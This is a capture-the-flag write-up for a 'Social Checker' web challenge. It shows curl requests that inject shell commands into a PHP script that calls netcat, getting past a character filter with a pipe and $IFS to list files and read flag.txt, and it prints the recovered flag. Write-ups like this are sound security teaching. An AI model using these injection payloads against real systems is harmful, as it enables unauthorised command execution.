Social Checker
Challenge:
Social Checker - check if your favourite social media site is online!
http://46.101.107.117:2103
Solution:
After visiting the challenge URL I was presented with a pulldown list of Social Media services and a Check It! button, which appeared to conduct a port check and return the results:
I viewed the HTML source to determine what the action the submit button was making and found that a PHP script was called and passed a url form field:
<script>
function doCheck() {
$.post("check.php", {"url": $("#url").val()}, function(data) {
$("#result").text(data);
});
}
</script>
My next step was to recreate the same form POST with curl
to make it easier to manipulate the form data:
$ curl -X POST -d 'url=twitter.com' 'http://46.101.107.117:2103/check.php'
twitter.com (104.244.42.129:80) open
I submitted junk data for the url value as an attempt to invoke an error condition, which revealed that netcat
was being called by the PHP script:
$ curl -X POST -d 'url=junk' 'http://46.101.107.117:2103/check.php'
nc: bad address 'junk'
I spent some time testing various methods for including additional parameters and shell commands to cause a remote command execution and found some humorous messages when specify characters weren't allowed. For example, including a semi-colon produces a YouTube link to a montage of Consuela from Family Guy saying, "No", and using whitespace results in a YouTube link to the song Out Of Space by The Prodigy.
$ curl -X POST 'http://46.101.107.117:2103/check.php' -d 'url=localhost;ls'
nice try - www.youtube.com/watch?v=MF283pORG2E
I was able to work past the character restrictions using a pipe (|
) instead of a semi-colon and the Internal Field Separator shell variable ($IFS
) in-place of a space:
$ curl -X POST 'http://46.101.107.117:2103/check.php' -d 'url=localhost|ls$IFS.'
ls: 80: No such file or directory
.:
bg.jpg
check.php
flag.txt
index.php
After a bit more testing I was able to create a payload to dump the flag file:
$ curl -X POST 'http://46.101.107.117:2103/check.php' -d 'url=localhost|cat$IFS./flag.txt'
he2021{1ts_fun_t0_1nj3kt_k0mmand5}cat: can't open '80': No such file or directory
Leave a comment